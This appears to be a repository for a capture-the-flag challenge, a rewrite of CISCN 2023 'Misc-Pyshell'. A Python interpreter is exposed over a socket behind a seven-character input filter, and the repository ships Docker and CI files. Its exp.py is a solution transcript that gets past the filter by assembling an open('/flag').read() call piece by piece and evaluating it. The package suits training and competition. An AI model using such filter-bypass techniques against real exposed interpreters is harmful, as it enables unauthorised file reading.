├── README.md ├── docker └── docker-compose.yml ├── exp.py ├── Dockerfile ├── service └── docker-entrypoint.sh ├── .github └── workflows │ └── docker-image.yml └── src ├── main.py └── test.py /README.md: -------------------------------------------------------------------------------- 1 | # crypto-python_3.10 2 | 3 | 直接将py文件放入`./src`目录即可,文件名在`./service/docker-entrypoint.sh`内记得更改 4 | 5 | 6 | 7 | 如使用了`gmpy2`等第三方库,请在`./Dockerfile`内补充pip安装语句 -------------------------------------------------------------------------------- /docker/docker-compose.yml: -------------------------------------------------------------------------------- 1 | version: '3' 2 | services: 3 | test: 4 | # image: randark/2023-ciscn-misc-pyshell:master 5 | build: ../ 6 | environment: 7 | FLAG: "flag{a63b4d37-7681-4850-b6a7-0d7109febb19}" 8 | ports: 9 | - 9999:9999 10 | restart: unless-stopped -------------------------------------------------------------------------------- /exp.py: -------------------------------------------------------------------------------- 1 | >>'open' 2 | 'open' 3 | >>_+"(" 4 | 'open(' 5 | >>_+'"/fl' 6 | nop 7 | >>_+'"/f' 8 | 'open("/f' 9 | >>_+'lag' 10 | 'open("/flag' 11 | >>_+'"' 12 | 'open("/flag"' 13 | >>_+',"' 14 | 'open("/flag","' 15 | >>_+'r"' 16 | 'open("/flag","r"' 17 | >>_+')' 18 | 'open("/flag","r")' 19 | >>_+'.r' 20 | 'open("/flag","r").r' 21 | >>_+"ead" 22 | 'open("/flag","r").read' 23 | >>_+"()" 24 | 'open("/flag","r").read()' 25 | >>eval(_) 26 | 'flag{b42ee4ce-000a-400c-8493-d652f5a42cc1}' -------------------------------------------------------------------------------- /Dockerfile: -------------------------------------------------------------------------------- 1 | FROM python:3.10-bullseye 2 | 3 | # 制作者信息 4 | LABEL auther_template="Randark_JMT" 5 | 6 | # apt更新源,并安装socta用于端口转发 7 | RUN sed -i "s@http://deb.debian.org@http://mirrors.ustc.edu.cn@g" /etc/apt/sources.list 8 | RUN apt-get update && \ 9 | apt-get install -y socat 10 | 11 | # 安装必要的python依赖库 12 | # RUN sage --python -m pip install pycryptodome gmpy2 13 | RUN python3 -m pip install -i https://pypi.tuna.tsinghua.edu.cn/simple pwntools 14 | 15 | # 拷贝源码和启动脚本至根目录 16 | COPY ./src/test.py /app/main.py 17 | COPY ./service/docker-entrypoint.sh / 18 | 19 | EXPOSE 9999 20 | ENTRYPOINT ["/bin/bash","/docker-entrypoint.sh"] -------------------------------------------------------------------------------- /service/docker-entrypoint.sh: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | 3 | if [ ! $DASFLAG ]; then 4 | if [ ! $FLAG ]; then 5 | if [ ! $GZCTF_FLAG ]; then 6 | echo flag{TEST_DASFLAG} > /flag 7 | else 8 | echo $GZCTF_FLAG > /flag 9 | export GZCTF_FLAG=no_FLAG 10 | GZCTF_FLAG=no_FLAG 11 | fi 12 | else 13 | echo $FLAG > /flag 14 | export FLAG=no_FLAG 15 | FLAG=no_FLAG 16 | fi 17 | else 18 | echo $DASFLAG > /flag 19 | export DASFLAG=no_FLAG 20 | DASFLAG=no_FLAG 21 | fi 22 | 23 | python3 /app/main.py & 24 | 25 | socat -t 99999 TCP4-LISTEN:12345,reuseaddr,fork EXEC:"python3 -i",setsid,stderr -------------------------------------------------------------------------------- /.github/workflows/docker-image.yml: -------------------------------------------------------------------------------- 1 | name: Publish Docker image 2 | 3 | on: 4 | push: 5 | branches: [ "master" ] 6 | 7 | env: 8 | REGISTRY_GITHUB: ghcr.io 9 | REGISTRY_DOCKERHUB: randark 10 | IMAGE_NAME_GITHUB: ${{ github.repository }} 11 | 12 | jobs: 13 | push_to_registries: 14 | name: Push Docker image to multiple registries 15 | runs-on: ubuntu-latest 16 | permissions: 17 | contents: read 18 | packages: write 19 | 20 | steps: 21 | 22 | - name: Check out the repo 23 | uses: actions/checkout@v3 24 | 25 | - name: Log in to Docker Hub 26 | uses: docker/login-action@f054a8b539a109f9f41c372932f1ae047eff08c9 27 | with: 28 | username: ${{ secrets.DOCKER_USERNAME }} 29 | password: ${{ secrets.DOCKER_PASSWORD }} 30 | 31 | - name: Log into registry ${{ env.REGISTRY_GITHUB }} 32 | if: github.event_name != 'pull_request' 33 | uses: docker/login-action@28218f9b04b4f3f62068d7b6ce6ca5b26e35336c 34 | with: 35 | registry: ${{ env.REGISTRY_GITHUB }} 36 | username: ${{ github.actor }} 37 | password: ${{ secrets.GITHUB_TOKEN }} 38 | 39 | - name: Get repository name 40 | id: repo-name 41 | uses: MariachiBear/get-repo-name-action@v1.1.0 42 | with: 43 | string-case: lowercase 44 | 45 | - name: Extract metadata (tags, labels) for Docker 46 | id: meta 47 | uses: docker/metadata-action@98669ae865ea3cffbcbaa878cf57c20bbf1c6c38 48 | with: 49 | images: | 50 | ${{ env.REGISTRY_DOCKERHUB }}/${{ steps.repo-name.outputs.repository-name }} 51 | ${{ env.REGISTRY_GITHUB }}/${{ env.IMAGE_NAME_GITHUB }} 52 | 53 | - name: Build and push Docker images 54 | uses: docker/build-push-action@ad44023a93711e3deb337508980b4b5e9bcdc5dc 55 | with: 56 | context: . 57 | push: true 58 | tags: ${{ steps.meta.outputs.tags }} 59 | labels: ${{ steps.meta.outputs.labels }} 60 | 61 | - name: Docker Hub Description 62 | uses: peter-evans/dockerhub-description@v3 63 | with: 64 | username: ${{ secrets.DOCKER_USERNAME }} 65 | password: ${{ secrets.DOCKER_PASSWORD }} 66 | repository: ${{ env.REGISTRY_DOCKERHUB }}/${{ steps.repo-name.outputs.repository-name }} -------------------------------------------------------------------------------- /src/main.py: -------------------------------------------------------------------------------- 1 | import socket 2 | import threading 3 | import asyncio 4 | 5 | 6 | class Service(threading.Thread): 7 | 8 | def __init__(self, port): 9 | threading.Thread.__init__(self) 10 | self.port = port 11 | 12 | 13 | def run(self): 14 | self.sock = socket.create_server(("0.0.0.0", self.port),reuse_port=True) 15 | self.client = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 16 | self.client.settimeout(2) 17 | print("listener started") 18 | self.client.connect(("127.0.0.1", 12345)) 19 | rabbish = self.client.recv(1024) 20 | while not rabbish.decode().strip().endswith('>>>'): 21 | rabbish = self.client.recv(1024) 22 | 23 | while True: 24 | ss, addr = self.sock.accept() 25 | print("accept a connect") 26 | try: 27 | ss.send(b'Welcome to this python shell,try to find the flag!\r\n') 28 | while True: 29 | ss.send(b'>>') 30 | msg = ss.recv(1024) 31 | 32 | if not msg: 33 | continue 34 | elif is_validate(msg.decode().strip()): 35 | 36 | self.client.send(msg) 37 | total_result = bytes() 38 | while True: 39 | try: 40 | result = self.client.recv(1024) 41 | total_result += result 42 | if result.decode().strip().endswith('>>>'): 43 | break 44 | except: 45 | break 46 | 47 | print(total_result) 48 | if total_result.decode().strip().endswith('>>>'): 49 | total_result = total_result[:-4] 50 | elif total_result.decode().strip().endswith('...'): 51 | self.client.send(b'\r\n') 52 | while True: 53 | result = self.client.recv(1024) 54 | total_result += result 55 | if result.decode().strip().endswith('>>>'): 56 | break 57 | total_result = total_result[:-4] 58 | else: 59 | 60 | total_result = b'error\r\n' 61 | 62 | ss.send(total_result) 63 | else: 64 | ss.send(b'nop\r\n') 65 | continue 66 | 67 | except: 68 | continue 69 | 70 | 71 | def is_validate(s): 72 | if 'exit' in s or 'help' in s: 73 | return False 74 | if len(s) > 7: 75 | return False 76 | if '=' in s: 77 | return False 78 | return True 79 | 80 | 81 | service = Service(9999) 82 | service.run() -------------------------------------------------------------------------------- /src/test.py: -------------------------------------------------------------------------------- 1 | import socketserver 2 | import signal 3 | import pwn 4 | 5 | flag = b'flag{test}' 6 | 7 | banner = br''' 8 | __ ___ ____ ____ _ 9 | \ \ / / |__ _ _ / ___| ___ / ___| ___ _ __(_) ___ _ _ ___ 10 | \ \ /\ / /| '_ \| | | | \___ \ / _ \ \___ \ / _ \ '__| |/ _ \| | | / __| 11 | \ V V / | | | | |_| | ___) | (_) | ___) | __/ | | | (_) | |_| \__ \ 12 | \_/\_/ |_| |_|\__, | |____/ \___/ |____/ \___|_| |_|\___/ \__,_|___/ 13 | |___/ 14 | 15 | CISCN 2023 Misc-Pyshell Rewriten by Randark_JMT 16 | ''' 17 | def is_validate(s): 18 | if 'exit' in s or 'help' in s: 19 | return False 20 | if len(s) > 7: 21 | return False 22 | if '=' in s: 23 | return False 24 | return True 25 | 26 | class Task(socketserver.BaseRequestHandler): 27 | def _recvall(self): 28 | BUFF_SIZE = 2048 29 | data = b'' 30 | while True: 31 | part = self.request.recv(BUFF_SIZE) 32 | data += part 33 | if len(part) < BUFF_SIZE: 34 | break 35 | return data.strip() 36 | 37 | def send(self, msg, newline=True): 38 | try: 39 | if newline: 40 | msg += b'\n' 41 | self.request.sendall(msg) 42 | except: 43 | pass 44 | 45 | def recv(self, prompt=b'>>') -> bytes: 46 | self.send(prompt, newline=False) 47 | return self._recvall() 48 | 49 | def client_init(self): 50 | self.client = pwn.remote("127.0.0.1",12345) 51 | self.client.settimeout(99999) 52 | rabbish = self.client.recv(1024) 53 | while not rabbish.decode().strip().endswith('>>>'): 54 | rabbish = self.client.recv(1024) 55 | del rabbish 56 | 57 | def handle(self): 58 | signal.alarm(30) 59 | self.send(banner) 60 | # self.send(b"\nPlease input the \"ctf\":") 61 | self.client_init() 62 | self.nulltime=0 63 | self.send(b'Welcome to this python shell,try to find the flag!\r\n') 64 | while True: 65 | msg = self.recv() 66 | print("recv:"+str(msg)) 67 | if not msg : 68 | self.nulltime+=1 69 | if self.nulltime==30: 70 | print("Nulltime == 30") 71 | break 72 | continue 73 | elif is_validate(msg.decode().strip()): 74 | self.nulltime=0 75 | try: 76 | self.client.sendline(msg) 77 | res=self.client.recvuntil(">>>") 78 | except: 79 | self.send(b"Session timeout!") 80 | print("res:"+str(res)) 81 | self.send(res[:-4]) 82 | else: 83 | self.nulltime=0 84 | self.send(b'nop') 85 | 86 | 87 | class ThreadedServer(socketserver.ThreadingMixIn, socketserver.TCPServer): 88 | pass 89 | 90 | 91 | class ForkedServer(socketserver.ForkingMixIn, socketserver.TCPServer): 92 | pass 93 | 94 | 95 | if __name__ == "__main__": 96 | HOST, PORT = '0.0.0.0', 9999 97 | print("HOST:POST " + HOST+":" + str(PORT)) 98 | server = ForkedServer((HOST, PORT), Task) 99 | server.allow_reuse_address = True 100 | server.serve_forever() 101 | --------------------------------------------------------------------------------